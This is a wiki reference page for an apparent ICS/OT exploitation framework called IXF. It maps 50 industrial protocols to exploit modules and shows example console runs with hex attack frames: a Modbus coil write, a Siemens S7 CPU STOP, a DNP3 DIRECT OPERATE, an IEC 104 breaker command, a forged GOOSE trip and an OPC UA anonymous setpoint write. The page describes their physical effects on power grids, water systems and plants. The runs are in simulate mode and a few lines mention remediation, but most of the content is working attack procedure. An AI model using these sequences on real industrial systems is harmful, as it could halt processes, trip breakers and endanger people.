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Protocols and Vendors
Andre Henrique edited this page Jun 1, 2026
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IXF covers 50+ industrial protocols and 150+ OT/ICS vendors worldwide with scan, check, security assessment, and exploit modules. This document is the complete reference for protocol coverage, IXF module paths, and vendor coverage by region.
ixf > protocols
IXF Protocol Coverage (50 protocols)
═══════════════════════════════════════════════════════════════════════════
# Protocol Port(s) Type Region/Usage
─────────────────────────────────────────────────────────────────────────
01 Modbus TCP 502/TCP App Global — PLCs, SCADA
02 Modbus RTU Serial/gateway App Serial devices
03 Siemens S7comm 102/TCP App Siemens S7-200/300/400
04 Siemens S7comm+ 102/TCP App Siemens S7-1200/1500 TLS
05 EtherNet/IP (CIP) 44818/TCP+UDP App Rockwell, Omron
06 PROFINET DCP L2 Broadcast L2 Siemens, Beckhoff, WAGO
07 DNP3 20000/TCP+UDP App Power, water, oil & gas
08 BACnet/IP 47808/UDP App Building automation
09 BACnet/MSTP Serial/gateway App Building serial networks
10 IEC 60870-5-104 2404/TCP App Power grid RTUs
11 IEC 61850 MMS 102/TCP App Substations, relays
12 IEC 61850 GOOSE L2 Multicast L2 Protection relay interlocks
13 OPC UA 4840/TCP App Cross-platform IIoT
14 OPC DA (DCOM) 135/TCP App Legacy Windows SCADA
15 OPC HDA 135/TCP App Historical data access
16 OPC A&E 135/TCP App Alarms & events
17 Omron FINS 9600/UDP App Omron CS/CJ/NJ series
18 Unitronics PCOM 20256/TCP App Vision/Unistream PLCs
19 Beckhoff ADS/AMS 48898/TCP App TwinCAT runtime
20 MQTT 1883/TCP App IIoT messaging brokers
21 SNMP 161/UDP App Network management
22 PROFIBUS DP 1962/TCP(gw) App Siemens, Beckhoff
23 PROFIBUS PA 1962/TCP(gw) App Process instrumentation
24 HART 5094/TCP (HART-IP) App Field instruments
25 CANopen 4001/TCP(gw) App Machine control
26 CC-Link 61450/UDP App Mitsubishi networks
27 CC-Link IE Field 61450/UDP App Mitsubishi advanced
28 EtherCAT L2 L2 Beckhoff, Omron
29 EtherNet/POWERLINK L2 L2 B&R, Keba
30 SERCOS III 8008/TCP App CNC/robotics motion
31 IO-Link Serial/gateway App Smart sensors/actuators
32 INTERBUS 1962/TCP(gw) App Phoenix Contact
33 ControlNet 44818/TCP App Rockwell legacy
34 DeviceNet 44818/TCP App Rockwell CAN-based
35 PCCC 44818/TCP App Allen-Bradley SLC-500
36 FL-NET (OPCN-2) 7000/UDP App Fuji Electric/JTEKT
37 CompoNet 9600/TCP(gw) App Omron
38 Yokogawa Vnet/IP 20111/TCP App Yokogawa CENTUM DCS
39 FOUNDATION Fieldbus H1 1089/TCP (HSE) App Emerson, ABB
40 FOUNDATION Fieldbus HSE 1089/TCP App FF high-speed network
41 LonWorks/LonTalk 1628/UDP App Building automation
42 KNX/EIB 3671/UDP App Building automation
43 CIP Safety 44818/TCP App Rockwell GuardLogix
44 PROFIsafe 502 layer App PROFIBUS safety layer
45 FSoE (Fail-Safe over EtherCAT) L2 L2 Beckhoff TwinSAFE
46 SECS/GEM (HSMS) 5000/TCP App Semiconductor fabs
47 Serial-to-Ethernet 4001/TCP App Moxa NPort, Lantronix
48 SNMP OT 161/UDP App OT device management
49 DNP3 Security Auth (SAv5) 20000/TCP App SAv5 implementation
50 OPC UA Security 4840/TCP App SecurityMode audit
═══════════════════════════════════════════════════════════════════════════
| # | Protocol | IEC/IEEE Standard | Default Port(s) | Protocol Type | Use in OT | IXF Module Paths | Example Use Case |
|---|---|---|---|---|---|---|---|
| 1 | Modbus TCP | Modbus Specification | 502/TCP | Application | SCADA/PLC communication |
exploits/protocols/modbus/, scanners/ics/modbus_detect, scanners/ics/modbus_scanner
|
Read/write registers on Schneider Modicon |
| 2 | Modbus RTU | Modbus Specification | Serial (RS-232/485) | Serial | Field devices via serial gateways | exploits/protocols/modbus/modbus_client |
RTU device enumeration via Moxa gateway |
| 3 | Siemens S7comm | Siemens proprietary | 102/TCP (TSAP) | Application | Siemens S7-200/300/400 programming | exploits/protocols/s7comm/ |
S7-300 PLC stop command injection |
| 4 | Siemens S7comm+ | Siemens proprietary (TLS) | 102/TCP | Application | Siemens S7-1200/1500 (TLS-protected) |
exploits/protocols/s7comm_plus/, cve/siemens/cve_2021_22681*
|
CVE-2021-22681 hardcoded key MitM |
| 5 | EtherNet/IP (CIP) | ODVA EIP Vol 1/2 | 44818/TCP, 2222/UDP | Application | Rockwell ControlLogix, Omron NJ |
exploits/protocols/enip/, scanners/ics/enip_scanner
|
CIP tag enumeration on ControlLogix |
| 6 | PROFINET DCP | IEC 61158-5-10 | L2 Broadcast (0x8892) | L2 Ethernet | Siemens, Beckhoff, WAGO device discovery |
exploits/protocols/profinet/, scanners/ics/profinet_dcp_scanner
|
DCP Identify flood causing device reset |
| 7 | DNP3 | IEEE 1815-2012 | 20000/TCP, 20000/UDP | Application | Power grid RTUs, water SCADA |
exploits/protocols/dnp3/, scanners/ics/dnp3_scanner, assessment/protocols/dnp3_security_audit
|
Unauthorized DIRECT OPERATE to open breaker |
| 8 | BACnet/IP | ASHRAE 135-2020 | 47808/UDP | Application | HVAC, lighting, fire safety automation |
exploits/protocols/bacnet/, scanners/ics/bacnet_scanner
|
BACnet Who-Is broadcast reconnaissance |
| 9 | BACnet/MSTP | ASHRAE 135-2020 | Serial/gateway | Serial | Building RS-485 field bus networks | exploits/protocols/bacnet_mstp/ |
MSTP token ring disruption via gateway |
| 10 | IEC 60870-5-104 | IEC 60870-5-104:2006 | 2404/TCP | Application | Power grid RTUs, substation control |
exploits/protocols/iec104/, scanners/ics/iec104_scanner
|
ASDU EXEC command to trip circuit breaker |
| 11 | IEC 61850 MMS | IEC 61850-8-1 | 102/TCP (MMS over COTP) | Application | Substation automation, protection relays |
exploits/protocols/iec61850/, assessment/protocols/iec61850_security_audit
|
Unauthenticated GOOSE trip command |
| 12 | IEC 61850 GOOSE | IEC 61850-8-1 GOOSE | L2 Multicast | L2 Ethernet | Protection relay fast-trip interlocks | exploits/protocols/iec61850/goose_injection |
Forged GOOSE trip message causing false trip |
| 13 | OPC UA | IEC 62541 | 4840/TCP | Application | Cross-vendor industrial IoT, historian |
exploits/protocols/opcua/, scanners/ics/opcua_scanner, assessment/protocols/opcua_security_audit
|
SecurityMode=None anonymous read/write |
| 14 | OPC DA (DCOM) | Microsoft DCOM/COM | 135/TCP (DCOM) | Application | Legacy Windows-based SCADA servers | exploits/protocols/opc_da/ |
DCOM enumeration, OPC server tag listing |
| 15 | OPC HDA | OPC Foundation | 135/TCP (DCOM) | Application | Historical process data access | exploits/protocols/opc_hda/ |
Unauthorized historian tag read |
| 16 | OPC A&E | OPC Foundation | 135/TCP (DCOM) | Application | Alarm and event subscriptions | exploits/protocols/opc_ae/ |
OPC A&E alarm suppression |
| 17 | Omron FINS | Omron proprietary | 9600/UDP, 9600/TCP | Application | Omron CS/CJ/NJ/NX PLCs |
exploits/protocols/fins/, scanners/ics/omron_fins_scanner
|
FINS command to read memory area D0000 |
| 18 | Unitronics PCOM | Unitronics proprietary | 20256/TCP | Application | Vision and Unistream series PLCs |
exploits/protocols/pcom/, scanners/ics/pcom_scanner
|
PCOM info frame leaks version and config |
| 19 | Beckhoff ADS/AMS | Beckhoff proprietary | 48898/TCP | Application | TwinCAT 2/3 runtime, CX modules |
exploits/protocols/ads/, scanners/ics/ads_scanner
|
ADS read/write to TwinCAT runtime variables |
| 20 | MQTT | OASIS MQTT 3.1.1/5.0 | 1883/TCP, 8883/TLS | Application | IIoT sensor data, cloud gateways |
exploits/protocols/mqtt/, scanners/ics/mqtt_scanner
|
Unauthenticated MQTT broker topic subscribe |
| 21 | SNMP | RFC 1157/3411 | 161/UDP | Application | Network device management |
exploits/protocols/snmp/, scanners/ics/snmp_ot_scanner
|
SNMP community string bruteforce |
| 22 | PROFIBUS DP | IEC 61158-3-3 | 1962/TCP (via gateway) | Fieldbus | Siemens, Beckhoff field devices |
exploits/protocols/profibus/, scanners/ics/profibus_scanner
|
PROFIBUS DP parameter read via Anybus gateway |
| 23 | PROFIBUS PA | IEC 61158-2 / PROFIBUS PA | 1962/TCP (gw) | Fieldbus | Process instrumentation (hazardous areas) | exploits/protocols/profibus_pa/ |
PA device IDENT block manipulation |
| 24 | HART | HART Communication Foundation | 5094/TCP (HART-IP) | Application | 4-20mA transmitters, smart field devices |
exploits/protocols/hart/, scanners/ics/hart_ip_scanner
|
HART device configuration read via HART-IP |
| 25 | CANopen | CiA DS-301 | 4001/TCP (via gateway) | Fieldbus | Machine control, robotics |
exploits/protocols/canopen/, scanners/ics/canopen_scanner
|
NMT command to stop CANopen slave |
| 26 | CC-Link | Mitsubishi proprietary | 61450/UDP | Fieldbus | Mitsubishi MELSEC networks |
exploits/protocols/cc_link/, scanners/ics/cc_link_scanner
|
CC-Link cyclic scan disruption |
| 27 | CC-Link IE Field | Mitsubishi proprietary | 61450/UDP | Fieldbus | Mitsubishi high-speed Ethernet | exploits/protocols/cc_link_ie_field/ |
IE Field token disruption |
| 28 | EtherCAT | IEC 61158-12 | L2 Ethernet | L2 | High-speed motion control (Beckhoff, Omron) | exploits/protocols/ethercat/ |
EtherCAT broadcast storm disruption |
| 29 | EtherNet/POWERLINK | IEC 61158-10 | L2 Ethernet | L2 | B&R APROL, Keba systems | exploits/protocols/powerlink/ |
POWERLINK SoC frame injection |
| 30 | SERCOS III | IEC 61784-1 | 8008/TCP | Application | CNC and robotics motion networks | exploits/protocols/sercos/ |
SERCOS ring disruption |
| 31 | IO-Link | IEC 61131-9 | Serial / IO-Link master | Serial | Smart sensor/actuator interface | exploits/protocols/iolink/ |
IO-Link device parameter read/write |
| 32 | INTERBUS | IEC 61158-6-8 | 1962/TCP (gw) | Fieldbus | Phoenix Contact automation | exploits/protocols/interbus/ |
INTERBUS CMD parameter manipulation |
| 33 | ControlNet | ODVA ControlNet | 44818/TCP | Fieldbus | Rockwell legacy scheduled networks | exploits/protocols/controlnet/ |
ControlNet unscheduled message injection |
| 34 | DeviceNet | ODVA DeviceNet | 44818/TCP | Fieldbus | Rockwell CAN-based device network | exploits/protocols/devicenet/ |
DeviceNet UCMM request to read EDS |
| 35 | PCCC | Allen-Bradley proprietary | 44818/TCP | Application | Allen-Bradley SLC-500, PLC-5 | exploits/protocols/pccc/ |
PCCC typed logical read/write |
| 36 | FL-NET (OPCN-2) | JEMA FL-NET | 7000/UDP | Fieldbus | Fuji Electric, JTEKT (Japan factory) |
exploits/protocols/fl_net/, scanners/ics/fl_net_scanner
|
FL-NET token arbitration disruption |
| 37 | CompoNet | Omron CompoNet | 9600/TCP (gw) | Fieldbus | Omron CompoNet sensor/actuator networks | exploits/protocols/componet/ |
CompoNet output bit forced ON |
| 38 | Yokogawa Vnet/IP | Yokogawa proprietary | 20111/TCP | Application | Yokogawa CENTUM VP DCS |
exploits/protocols/vnetip/, scanners/ics/vnetip_scanner
|
Vnet/IP engineering function call |
| 39 | FOUNDATION Fieldbus H1 | IEC 61158-2 FF | 1089/TCP (HSE) | Fieldbus | Emerson DeltaV, ABB 800xA (hazardous areas) | exploits/protocols/foundation_fieldbus/ |
FF H1 function block parameter write |
| 40 | FOUNDATION Fieldbus HSE | IEC 61158 FF-HSE | 1089/TCP | Application | FF high-speed Ethernet backbone | exploits/protocols/foundation_fieldbus/ |
HSE subnet device enumeration |
| 41 | LonWorks/LonTalk | ANSI/CEA-709 | 1628/UDP | Application | Building automation, street lighting |
exploits/protocols/lonworks/, scanners/ics/lonworks_scanner
|
LonWorks device wink command broadcast |
| 42 | KNX/EIB | EN 50090 / ISO 22510 | 3671/UDP (KNXnet/IP) | Application | European building automation (lighting, HVAC) |
exploits/protocols/knx/, scanners/ics/knx_scanner
|
KNX group write to toggle lighting |
| 43 | CIP Safety | ODVA CIP Safety | 44818/TCP | Application | Rockwell GuardLogix safety PLCs | exploits/protocols/ethernet_ip_cip_safety/ |
CIP Safety OUNID spoofing attempt |
| 44 | PROFIsafe | IEC 61800-5-2 | PROFIBUS/PROFINET layer | Application | Siemens PROFIBUS/PROFINET safety | exploits/protocols/profisafe/ |
PROFIsafe CRC bypass probe |
| 45 | FSoE | IEC 61784-3-12 | EtherCAT L2 | L2 | Beckhoff TwinSAFE safety modules | exploits/protocols/fsoe/ |
FSoE watchdog suppression |
| 46 | SECS/GEM (HSMS) | SEMI E5/E30/E37 | 5000/TCP | Application | Semiconductor fab equipment interfaces |
exploits/protocols/hsms/, scanners/ics/hsms_scanner
|
HSMS S1F1 host/equipment info request |
| 47 | Serial-to-Ethernet | N/A (device-specific) | 4001/TCP | Application | Moxa NPort, Lantronix serial tunneling |
exploits/protocols/serial/, scanners/ics/serial_to_ethernet_scanner
|
Unauthenticated web console on Moxa NPort |
| 48 | SNMP OT | RFC 1157 + MIB-II | 161/UDP | Application | OT device management, switch enumeration |
exploits/protocols/snmp/, scanners/ics/snmp_ot_scanner
|
Public community string read of OT MIBs |
| 49 | DNP3 Secure Auth v5 | IEEE 1815-2012 SAv5 | 20000/TCP | Application | DNP3 SAv5 challenge-response verification | assessment/protocols/dnp3_security_audit |
SAv5 enabled/disabled detection |
| 50 | OPC UA Security | IEC 62541-7 | 4840/TCP | Application | OPC UA certificate and auth audit | assessment/protocols/opcua_security_audit |
SecurityMode=None detection, anon browse test |
Description: Modbus is the most widely deployed industrial communication protocol globally. Originally developed by Modicon in 1979 for serial communication over RS-232, Modbus TCP wraps the Modbus Application Protocol (MBAP) over standard TCP/IP. It is completely unauthenticated by design — any host on the network can read or write coils, registers, and discrete inputs.
History: The protocol predates OT cybersecurity concerns by decades. There is no authentication, encryption, or integrity protection in the base specification. Extensions such as Modbus Security (RFC 8605) exist but are rarely deployed.
Security Issues:
- No authentication — any client can read/write any register
- No encryption — all data transmitted in plaintext
- No integrity protection — replay and injection attacks are trivial
- Function code 8 (Diagnostics) can restart devices
- FC43 (MEI) leaks device identification (vendor, product, firmware)
IXF Modules:
| Module | Purpose |
|---|---|
scanners/ics/modbus_detect |
Detect Modbus TCP devices (FC4 probe) |
scanners/ics/modbus_scanner |
Scan CIDR range for Modbus devices |
exploits/protocols/modbus/modbus_client |
Full Modbus client (read/write any FC) |
exploits/protocols/modbus/modbus_unauthorized_coil_set |
Write arbitrary coil values |
exploits/protocols/modbus/modbus_write_coil_flood |
Rapid coil write flood |
exploits/protocols/modbus/modbus_replay_attack |
Replay captured Modbus frames |
Example Usage:
ixf > use exploits/protocols/modbus/modbus_unauthorized_coil_set
[*] Module loaded: Modbus TCP Unauthorized Coil Set
[*] CVE: N/A | CVSS: N/A | Impact: HIGH
ixf (Modbus TCP Unauthorized Coil Set) > show options
+──────────────────+──────────+──────────+────────────────────────────────────────────+
| Option | Value | Required | Description |
+──────────────────+──────────+──────────+────────────────────────────────────────────+
| target | | yes | Target IP or hostname |
| port | 502 | no | Modbus TCP port |
| unit_id | 1 | no | Modbus unit/slave ID (1-247) |
| coil_addr | 0 | no | Starting coil address (0-based) |
| coil_value | 1 | no | Coil value to write (0=OFF, 1=ON) |
| count | 1 | no | Number of coils to write |
| timeout | 5 | no | Connection timeout |
| simulate | True | no | Simulate mode |
| destructive | False | no | Enable live coil write |
+──────────────────+──────────+──────────+────────────────────────────────────────────+
ixf (Modbus TCP Unauthorized Coil Set) > set target 192.168.1.100
[*] target => 192.168.1.100
ixf (Modbus TCP Unauthorized Coil Set) > set coil_addr 0
[*] coil_addr => 0
ixf (Modbus TCP Unauthorized Coil Set) > set coil_value 1
[*] coil_value => 1
ixf (Modbus TCP Unauthorized Coil Set) > run
[SIMULATE MODE — no packets sent]
═══════════════════════════════════════════════════════════════════════════
Module: Modbus TCP Unauthorized Coil Set
Target: 192.168.1.100:502 Unit ID: 1
Step 1: Connect TCP to 192.168.1.100:502
Step 2: Send Write Single Coil (FC05) request:
MBAP: 00 01 00 00 00 06 01
PDU: 05 00 00 FF 00 (coil addr=0, value=0xFF00=ON)
Full frame (hex): 00 01 00 00 00 06 01 05 00 00 FF 00
Step 3: Verify echo response (FC05 echo)
Step 4: Coil 0 at unit 1 set to ON
[i] Physical consequence: Digital output DO0 driven HIGH
Depending on the wired device, this may activate a relay, valve, motor, or alarm.
[i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message)
[i] To run live: set simulate false + set destructive true
ixf (Modbus TCP Unauthorized Coil Set) > check
[*] Checking 192.168.1.100:502...
[+] REACHABLE — TCP 502 open
[+] MODBUS DEVICE DETECTED — FC4 response received, Transaction ID echoed
[+] Unit ID 1 responded. FC4 Input Register[0] = 0x0043
Description: S7comm is Siemens' proprietary protocol for communication between TIA Portal, STEP 7, and S7-200/300/400/1500 PLCs over ISO-on-TCP (port 102). The protocol uses TPKT and COTP transport layers. S7comm (the original variant for S7-300/400) has no authentication or encryption. S7comm+ (for S7-1200/1500) adds TLS but uses a hardcoded global private key (CVE-2021-22681).
Security Issues:
- S7comm: no authentication, no encryption, full read/write access
- S7comm+: TLS with hardcoded key — decryptable by any attacker (CVE-2021-22681)
- CPU START/STOP commands require no credentials
- Program upload/download unauthenticated on older firmware
- FC43 (MEI equivalent) leaks firmware version and hardware info
IXF Modules:
| Module | Purpose |
|---|---|
scanners/ics/s7_comm_scanner |
Detect S7 PLCs (COTP/S7 probe) |
exploits/protocols/s7comm/s7_cpu_stop |
Send S7 CPU STOP command |
exploits/protocols/s7comm/s7_program_download |
Write modified PLC program |
exploits/protocols/s7comm/s7_read_memory |
Read PLC data areas (DB, MB, QB) |
exploits/protocols/s7comm_plus/s7plus_mitm |
MitM exploit using CVE-2021-22681 key |
cve/siemens/cve_2021_22681_s7_1200_hardcoded_key |
Full CVE-2021-22681 exploit |
Example Usage:
ixf > use exploits/protocols/s7comm/s7_cpu_stop
[*] Module loaded: Siemens S7comm CPU Stop Command
[*] CVE: N/A | CVSS: N/A | Impact: HIGH
ixf (Siemens S7comm CPU Stop Command) > show options
+──────────────────+──────────+──────────+────────────────────────────────────────────+
| Option | Value | Required | Description |
+──────────────────+──────────+──────────+────────────────────────────────────────────+
| target | | yes | Target S7 PLC IP |
| port | 102 | no | S7comm TCP port (TSAP) |
| rack | 0 | no | PLC rack number |
| slot | 1 | no | PLC slot number (1=S7-300, 2=S7-1200/1500) |
| simulate | True | no | Simulate mode |
| destructive | False | no | Enable live CPU STOP |
+──────────────────+──────────+──────────+────────────────────────────────────────────+
ixf (Siemens S7comm CPU Stop Command) > set target 192.168.1.55
[*] target => 192.168.1.55
ixf (Siemens S7comm CPU Stop Command) > run
[SIMULATE MODE — no packets sent]
═══════════════════════════════════════════════════════════════════════════
Module: Siemens S7comm CPU Stop Command
Target: 192.168.1.55:102 Rack: 0 Slot: 1
Step 1: Establish ISO-on-TCP connection (TPKT + COTP CR)
Step 2: Send S7comm Setup Communication PDU (negotiation)
Step 3: Send S7comm CPU Control — STOP command:
TPKT: 03 00 00 21
COTP: 02 F0 80
S7: 32 01 00 00 00 00 00 10 00 00 28 00 00 00 00 00
00 FD 00 00 09 50 5F 50 52 4F 47 52 41 4D
Step 4: S7 CPU transitions to STOP state; RUN LED turns RED
Step 5: All controlled outputs go to safe-state (configurable)
[i] Physical consequence: PLC program execution halts immediately.
All digital outputs de-energize or hold last value depending on OB86 config.
Process controlled by this PLC stops.
[i] MITRE ATT&CK for ICS: T0881 (Service Stop), T0803 (Block Control Command)
[i] To run live: set simulate false + set destructive true
Description: EtherNet/IP (Ethernet Industrial Protocol) carries the Common Industrial Protocol (CIP) over standard TCP/UDP. It is the dominant protocol in North American manufacturing, used by Rockwell Allen-Bradley ControlLogix, CompactLogix, and GuardLogix. EtherNet/IP uses port 44818 (TCP for explicit messages, UDP for implicit I/O). CIP allows tag enumeration, read/write of PLC tags by name, and firmware downloads.
Security Issues:
- CIP does not require authentication for tag reads/writes in basic mode
- The Identity Object (Class 0x01) is always readable — leaks model, vendor, firmware
- Unregistered sessions can still enumerate tags in some firmware versions
- Forward Open requests can establish implicit I/O connections without auth
- CIP Safety (GuardLogix) has OUNID spoofing risks
Example Usage:
ixf > use scanners/ics/enip_scanner
[*] Module loaded: EtherNet/IP CIP Scanner
ixf (EtherNet/IP CIP Scanner) > show options
+──────────────────+──────────+──────────+────────────────────────────────────────────+
| Option | Value | Required | Description |
+──────────────────+──────────+──────────+────────────────────────────────────────────+
| target | | yes | Target IP or CIDR range |
| port | 44818 | no | EtherNet/IP TCP port |
| udp_broadcast | True | no | Use UDP broadcast for discovery |
| timeout | 5 | no | Connection timeout |
| simulate | True | no | Simulate mode |
+──────────────────+──────────+──────────+────────────────────────────────────────────+
ixf (EtherNet/IP CIP Scanner) > set target 192.168.1.0/24
[*] target => 192.168.1.0/24
ixf (EtherNet/IP CIP Scanner) > run
[SIMULATE MODE — no packets sent]
Module: EtherNet/IP CIP Scanner
Target: 192.168.1.0/24
Step 1: Send EtherNet/IP List Identity request (UDP port 44818 broadcast)
Step 2: Collect List Identity responses:
- Vendor ID (0x01 = Rockwell Automation)
- Product Type (0x0E = Programmable Controller)
- Product Code, Revision, Serial Number
- Product Name (e.g., "1756-L85E/A ControlLogix5585E")
Step 3: For each responding device, enumerate CIP Class 1 (Identity Object)
Step 4: Report vendor, product, firmware revision for each host
[i] MITRE ATT&CK for ICS: T0888 (Remote System Information Discovery)
Description: DNP3 (Distributed Network Protocol 3) is widely used in electric utilities (power grid RTUs, substations) and water/wastewater SCADA systems. Defined in IEEE 1815-2012. DNP3 has a DIRECT OPERATE (DO) function that can directly control field devices — breakers, valves, pumps — without a handshake. DNP3 Secure Authentication version 5 (SAv5) was added in 2012 but deployment remains limited.
Security Issues:
- DIRECT OPERATE commands require no authentication in base DNP3
- SELECT BEFORE OPERATE can be replayed without SAv5
- No encryption — all SCADA data (setpoints, alarms, events) in plaintext
- SAv5 implementation varies widely; many RTUs claim SAv5 support but have gaps
- Sequence number rollover can enable replay attacks
Example Usage:
ixf > use exploits/protocols/dnp3/dnp3_direct_operate
[*] Module loaded: DNP3 DIRECT OPERATE Binary Output
[*] CVE: N/A | CVSS: N/A | Impact: CRITICAL
ixf (DNP3 DIRECT OPERATE Binary Output) > show options
+──────────────────+──────────────+──────────+──────────────────────────────────────────+
| Option | Value | Required | Description |
+──────────────────+──────────────+──────────+──────────────────────────────────────────+
| target | | yes | Target DNP3 outstation IP |
| port | 20000 | no | DNP3 TCP port (default: 20000) |
| master_addr | 1 | no | DNP3 master address |
| outstation_addr | 10 | no | DNP3 outstation address |
| obj_group | 12 | no | CROB group (12=Binary Output Cmd Block) |
| obj_var | 1 | no | CROB variation |
| point_index | 0 | no | Binary output point index |
| trip_close | LATCH_ON | no | Operation type: LATCH_ON/LATCH_OFF/PULSE |
| simulate | True | no | Simulate mode |
| destructive | False | no | Enable live command |
+──────────────────+──────────────+──────────+──────────────────────────────────────────+
ixf (DNP3 DIRECT OPERATE Binary Output) > set target 10.0.0.101
[*] target => 10.0.0.101
ixf (DNP3 DIRECT OPERATE Binary Output) > set outstation_addr 10
[*] outstation_addr => 10
ixf (DNP3 DIRECT OPERATE Binary Output) > run
[SIMULATE MODE — no packets sent]
Module: DNP3 DIRECT OPERATE Binary Output
Target: 10.0.0.101:20000
Master: 1 Outstation: 10 Point: 0 Op: LATCH_ON
Step 1: Connect TCP to 10.0.0.101:20000
Step 2: Build DNP3 Application Layer DIRECT OPERATE:
Link Frame: 05 64 XX XX 0A 00 01 00
App Header: C0 03 (Confirm=1, FC=03 DIRECT_OPERATE)
Obj Header: 0C 01 28 01 00 00 00
CROB: 03 01 00 00 00 00 01 00 00 00 00 00
(LATCH_ON, count=1, on_time=100ms, off_time=100ms)
Step 3: Send to outstation
Step 4: Binary output point 0 activates (relay closes, circuit energizes)
[i] Physical consequence: Binary output 0 drives HIGH.
In power grid: trips or closes a circuit breaker.
In water: activates a pump or opens a valve.
[i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message)
[i] MITRE ATT&CK for ICS: T0803 (Block Control Command)
Description: BACnet (Building Automation and Control network) is the dominant protocol in building automation: HVAC, lighting, fire safety, access control, and energy management. BACnet/IP runs over UDP port 47808. The Who-Is/I-Am service is a broadcast service for device discovery. BACnet has no authentication in the base standard. BACnet/SC (Secure Connect) adds TLS but adoption is recent.
Example Usage:
ixf > use scanners/ics/bacnet_scanner
[*] Module loaded: BACnet/IP Device Scanner
ixf (BACnet/IP Device Scanner) > set target 192.168.1.0/24
[*] target => 192.168.1.0/24
ixf (BACnet/IP Device Scanner) > run
[SIMULATE MODE — no packets sent]
Module: BACnet/IP Device Scanner
Target: 192.168.1.0/24
Step 1: Send BACnet/IP Who-Is broadcast (UDP 47808)
BVLC Header: 81 0B 00 0C
NPDU: 01 20 FF FF 00 FF
APDU: 10 08 (Unconfirmed Who-Is, all devices)
Step 2: Collect I-Am responses:
- Device Instance ID
- Max APDU length
- Segmentation support
- Vendor ID
Step 3: For each device, send ReadProperty to Device Object:
- Object Name (device name / building zone)
- Vendor Name
- Model Name
- Application Software Version
- Protocol Version
Step 4: Build device inventory report
[i] MITRE ATT&CK for ICS: T0888 (Remote System Information Discovery)
[i] BACnet devices found on typical building networks: thermostats, AHUs,
lighting controllers, fire panels, elevators, energy meters
Description: IEC 104 (IEC 60870-5-104) is the TCP/IP variant of IEC 60870-5-101, used for power grid SCADA: control centers communicating with remote terminal units (RTUs) in substations and distribution networks. The protocol carries ASDU (Application Service Data Units) that can send control commands (ASDU type 45/46/47/48 — single/double point commands, step commands) to field devices.
Example Usage:
ixf > use exploits/protocols/iec104/iec104_command_injection
[*] Module loaded: IEC 60870-5-104 ASDU Command Injection
[*] CVE: N/A | CVSS: N/A | Impact: CRITICAL
ixf (IEC 60870-5-104 ASDU Command Injection) > set target 10.10.0.20
[*] target => 10.10.0.20
ixf (IEC 60870-5-104 ASDU Command Injection) > run
[SIMULATE MODE — no packets sent]
Module: IEC 60870-5-104 ASDU Command Injection
Target: 10.10.0.20:2404
Step 1: Establish TCP connection to 10.10.0.20:2404
Step 2: Send STARTDT (Start Data Transfer) U-frame
Frame: 68 04 07 00 00 00
Step 3: Wait for STARTDT_CON acknowledgment
Step 4: Send I-frame with ASDU type 46 (Double Point Command):
APCI: 68 13 [Send Sequence Number] [Recv Seq Number]
ASDU: 2E 01 07 00 01 00 02 00 03
TypeID=0x2E (46), SQ=0, COT=6 (Activation),
CA=1, IOA=3 (Object Address 3), DCS=02 (ON)
Step 5: RTU executes command: double-point output 3 set to ON
[i] Physical: Open/close breaker, trip protection relay, activate SCADA actuator
[i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message)
Description: IEC 61850 is the standard for substation communication and automation. It covers MMS (Manufacturing Message Specification) over TCP/102 for SCADA-to-IED communication, and GOOSE (Generic Object Oriented Substation Event) for peer-to-peer L2 multicast between protection relays. GOOSE is used for fast protection interlocking (under 4ms). GOOSE has no authentication by default — any attacker on the substation LAN can inject false GOOSE trip messages. IEC 62351-6 adds HMAC-SHA256 authentication to GOOSE.
Example Usage:
ixf > use exploits/protocols/iec61850/goose_injection
[*] Module loaded: IEC 61850 GOOSE False Trip Injection
[*] CVE: N/A | CVSS: N/A | Impact: CRITICAL
ixf (IEC 61850 GOOSE False Trip Injection) > show options
+──────────────────+───────────────────────+──────────+──────────────────────────────+
| Option | Value | Required | Description |
+──────────────────+───────────────────────+──────────+──────────────────────────────+
| interface | eth0 | yes | Network interface (L2) |
| src_mac | de:ad:be:ef:00:01 | no | Source MAC (spoofed relay) |
| dst_mac | 01:0c:cd:01:00:01 | no | GOOSE multicast destination |
| appid | 0x0001 | no | Application ID |
| gocb_ref | IED1LD0/LLN0$GO$GCB1 | no | GOOSE Control Block Ref |
| dataset | IED1LD0/LLN0$DS1 | no | Dataset reference |
| stNum | 1 | no | Status number |
| sqNum | 0 | no | Sequence number |
| trip_value | True | no | Trip value (True=TRIP) |
| simulate | True | no | Simulate mode |
| destructive | False | no | Enable live L2 injection |
+──────────────────+───────────────────────+──────────+──────────────────────────────+
ixf (IEC 61850 GOOSE False Trip Injection) > run
[SIMULATE MODE — no packets sent]
Module: IEC 61850 GOOSE False Trip Injection
Interface: eth0
Step 1: Craft GOOSE PDU:
EtherType: 0x88B8 (GOOSE)
APPID: 0x0001
APDU: GOOSE PDU with stNum=1, sqNum=0, allData=[TRUE]
Destination: 01:0c:cd:01:00:01 (GOOSE multicast MAC)
Step 2: Send L2 frame via raw socket on eth0
Step 3: All listening IEDs subscribed to this GoCB reference
will interpret the GOOSE as a protection trip signal
Step 4: Subscribed IEDs execute protection function (trip breaker)
[i] Physical: False GOOSE trip causes protection relay to trip breaker
immediately (<4ms). This is indistinguishable from a real protection event.
[i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message)
[i] Remediation: Deploy IEC 62351-6 HMAC authentication on all GOOSE publishers
Description: OPC UA (OPC Unified Architecture) is the modern, cross-platform successor to OPC DA/DCOM. It runs over TCP port 4840 and optionally over HTTPS (4843). OPC UA supports multiple security modes: None (no security), Sign (signed messages), and SignAndEncrypt. Many deployments leave SecurityMode set to None for compatibility, allowing anonymous access to the entire tag namespace.
Example Usage:
ixf > use exploits/protocols/opcua/opcua_anonymous_write
[*] Module loaded: OPC UA Anonymous Write (SecurityMode=None)
ixf (OPC UA Anonymous Write) > set target 192.168.1.200
[*] target => 192.168.1.200
ixf (OPC UA Anonymous Write) > run
[SIMULATE MODE — no packets sent]
Module: OPC UA Anonymous Write
Target: 192.168.1.200:4840
Step 1: Send OPC UA Hello message (HEL)
Step 2: Send OPC UA OpenSecureChannel with SecurityMode=None
Step 3: GetEndpoints — list all server endpoints including None-security
Step 4: CreateSession with Anonymous identity token
Step 5: Browse root namespace — list all nodes and tag names
Step 6: Write to target node: NodeId ns=2;i=1003 (example: Tank Level Setpoint)
WriteValue: Value=0.0 (drain setpoint)
